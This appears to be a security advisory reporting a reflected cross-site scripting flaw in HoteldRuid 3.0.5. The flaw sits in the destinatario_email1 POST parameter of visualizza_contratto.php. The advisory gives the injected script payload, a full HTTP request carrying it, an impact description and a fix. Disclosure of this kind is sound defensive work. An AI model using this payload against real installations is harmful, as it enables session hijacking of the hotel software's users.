Affected Version: hoteldruid version 3.0.5

Product Link: https://www.hoteldruid.com/

Product Download Link: https://www.hoteldruid.com/download/hoteldruid_3.0.5.zip

Security Issue:

Cross site scripting in POST Request via destinatario_email1 parameter

URL: <http://localhost/hoteldruid/visualizza_contratto.php>
Vulnerable Parameter: destinatario_email1
Method: POST
Payload: '"()&%<zzz><ScRiPt >alert(9762)</ScRiPt>

Vulnerability Description:

Cross-site Scripting (XSS) refers to client-side code injection attack wherein an attacker can execute malicious scripts into a legitimate website or web application. XSS occurs when a web application makes use of unvalidated or unencoded user input within the output it generates.

HTTP Request:

POST /hoteldruid/visualizza_contratto.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----------YWJkMTQzNDcw
Accept: */*
Referer: <http://localhost/hoteldruid/>
Content-Length: 1241
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Host: localhost
Connection: Keep-alive

------------YWJkMTQzNDcw
Content-Disposition: form-data; name="anno"

2023
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="id_sessione"

------------YWJkMTQzNDcw
Content-Disposition: form-data; name="numero_contratto"

6
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="origine"

visualizza_tabelle.php?tipo_tabella=prenotazioni&id_utente_vedi=1&senza_colori=&mos_tut_dat=&pag_pren_corr=&pag_pren_prec=&pag_pren_succ=&ordine_prenota=iddatainizio,idprenota
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="origine_vecchia"

------------YWJkMTQzNDcw
Content-Disposition: form-data; name="manda_mail"

SI
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="numero_email"

1
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="mittente_email1"

[email protected]
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="destinatario_email1"

[email protected]'"()&%<zzz><ScRiPt >alert(9762)</ScRiPt>
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="oggetto_email1"

[email protected]
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="testo_email1"

[email protected]
------------YWJkMTQzNDcw--

HTTP Response:

Untitled

Screenshot:

Untitled

The impact of this vulnerability:

Malicious JavaScript has access to all the same objects as the rest of the web page, including access to cookies and local storage, which are often used to store session tokens. If an attacker can obtain a user's session cookie, they can then impersonate that user.

How to fix this vulnerability:

Apply context-dependent encoding and/or validation to user input rendered on a page